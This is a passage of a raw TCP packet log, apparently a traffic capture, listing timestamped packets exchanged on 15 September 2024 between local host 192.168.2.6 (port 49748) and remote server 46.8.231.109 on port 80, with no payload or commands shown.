Sep 15, 2024 19:37:39.045633078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045663118 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045664072 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045675039 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045691013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.045707941 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.045739889 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128060102 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128087044 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128103018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128117085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128133059 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128144979 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128146887 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128163099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128169060 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128206968 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128237963 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128276110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128279924 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128293037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128324032 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128330946 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128377914 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128423929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128438950 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128453970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128465891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128493071 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128509045 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128531933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128545046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128587008 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128626108 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128642082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128684044 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128741980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128757000 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128772020 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128786087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128802061 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128803015 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128812075 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128840923 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.128937006 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128952980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128968954 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.128995895 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129033089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129054070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129067898 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129082918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129093885 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129108906 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129133940 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129184961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129198074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129228115 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129244089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129267931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129282951 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129297972 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129311085 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129314899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129323006 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129337072 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129337072 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129348993 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129353046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129399061 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129568100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129584074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129597902 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129611969 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129626036 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129626989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129626989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129642963 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129642963 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129666090 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129688025 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129775047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129790068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129803896 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129817963 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129836082 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129846096 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129930019 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129945040 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129960060 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129972935 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.129981995 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129992962 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.129997969 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130012989 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130021095 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130031109 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130044937 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130045891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130059958 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130063057 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130079031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130089045 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130108118 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130121946 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130280018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130295038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130310059 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130321026 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130325079 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130336046 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130352974 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130513906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130527973 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130542994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130557060 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130561113 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130572081 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130585909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130587101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130603075 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130610943 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130615950 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.130620956 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130651951 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.130662918 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132301092 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132342100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132356882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132405043 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132430077 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132466078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132479906 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132493973 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132508993 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132519007 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132522106 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132543087 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132558107 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132582903 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132627964 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132642031 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132668972 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132694960 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132755041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132770061 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132785082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132800102 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132810116 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132836103 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132889986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132904053 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132917881 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132926941 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132941008 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132949114 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132961988 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132962942 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132980108 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.132986069 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.132997990 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133019924 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133095026 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133111000 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133125067 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133135080 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133151054 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133162022 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133163929 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133181095 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133199930 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133222103 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133241892 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133313894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133333921 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133359909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133375883 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133382082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133402109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133425951 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133440971 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133461952 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133480072 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133481979 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133506060 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133528948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133563042 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133584023 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133604050 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133605003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133626938 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133626938 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133642912 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133650064 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133670092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133685112 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133694887 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133734941 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133738041 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133758068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133776903 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133796930 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133825064 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133845091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133863926 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133866072 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133876085 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133889914 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133898973 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.133913994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.133955002 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.134011984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.134033918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.134052038 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.134054899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.134072065 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.134078026 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.134094000 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.134100914 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.134119034 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.134124994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.134131908 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.134146929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.134160995 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.134186029 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.216722965 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216763020 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216778994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216794968 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216811895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216826916 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216844082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216861010 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216881990 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.216929913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.216937065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.216953993 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217005968 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217053890 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217067957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217082977 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217099905 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217108965 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217125893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217154026 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217186928 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217210054 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217225075 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217240095 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217252970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217256069 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217276096 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217295885 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217449903 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217464924 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217479944 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217493057 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217502117 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217508078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217523098 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217526913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217551947 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217566967 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217673063 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217689037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217704058 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217715979 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217720032 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217725992 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217744112 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217756033 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217820883 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217834949 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217849970 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217864990 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217874050 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217881918 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.217886925 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217911959 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217927933 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.217962027 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218019962 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218035936 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218050957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218060970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218066931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218090057 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218106985 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218172073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218188047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218202114 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218213081 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218238115 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218274117 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218386889 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218403101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218420029 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218429089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218435049 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218439102 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218451023 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218466043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218466997 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218482018 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218487978 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218527079 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218527079 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218918085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218934059 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218947887 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218957901 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218964100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218972921 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.218981981 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.218991041 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219000101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219007969 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219017029 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219024897 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219033003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219041109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219049931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219055891 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219064951 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219074011 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219089031 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219104052 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219132900 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219150066 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219162941 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219177961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:39.219186068 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:39.219186068 CEST	49748	80	192.168.2.6	46.8.231.109
